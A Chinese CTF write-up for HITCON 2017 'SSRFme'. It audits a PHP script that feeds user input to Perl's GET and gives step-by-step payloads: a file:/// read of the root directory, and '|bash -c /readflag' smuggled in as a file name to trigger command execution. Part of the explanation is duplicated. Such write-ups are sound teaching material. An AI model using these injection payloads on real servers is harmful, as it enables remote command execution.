[HITCON 2017]SSRFme 1

目录

  • 代码审计
    • [@ 符号](#@ 符号)
    • [shell_exec() 函数:](#shell_exec() 函数:)
    • [GET " . escapeshellarg(_GET\["url"\]):](#GET " . escapeshellarg(_GET["url"]):)
    • [pathinfo(_GET\["filename"\]](#pathinfo(_GET["filename"])
    • basename()
  • 题目解析

代码审计

php 复制代码
118.182.186.90
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

输出ip地址

基于客户端IP地址和固定字符串 "orange" 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET["url"]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET["filename"]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET["filename"]

pathinfo() 函数:

pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

text 复制代码
payload:?url=file:///&filename=a

再访问

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/a

读了一下flag为空,存在readflag

通过GET特性,来运行readflag

需要先创建一个存在运行命令的文件名

text 复制代码
payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

text 复制代码
payload:?url=file:|bash -c /readflag&filename=abc

访问abc

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/abc

得到flag

相关推荐
黑客笔记2 小时前
ChatGPT超级AI对话模型 黑客十问十答
人工智能·web安全·网络安全
网络安全King4 小时前
devops 工具 网络安全
运维·web安全·devops
张鱼小丸子4 小时前
【无标题】云原生作业六
开发语言·php
你怎么睡得着的!9 小时前
【护网行动-红蓝攻防】第一章-红蓝对抗基础 认识红蓝紫
网络·安全·web安全·网络安全
禁默10 小时前
【第四届网络安全、人工智能与数字经济国际学术会议(CSAIDE 2025】网络安全,人工智能,数字经济的研究
人工智能·安全·web安全·数字经济·学术论文
网络安全(king)14 小时前
网络安全知识:网络安全网格架构
安全·web安全·架构
Dyan_csdn14 小时前
【Python项目】基于Python的Web漏洞挖掘系统
网络·python·安全·web安全
Moyo20318 小时前
前端web安全
前端·安全·web安全
哥坐11路19 小时前
网络IP跳动问题解决详
开发语言·php
爱编程的小庄19 小时前
web安全:跨站请求伪造 (CSRF)
安全·web安全·csrf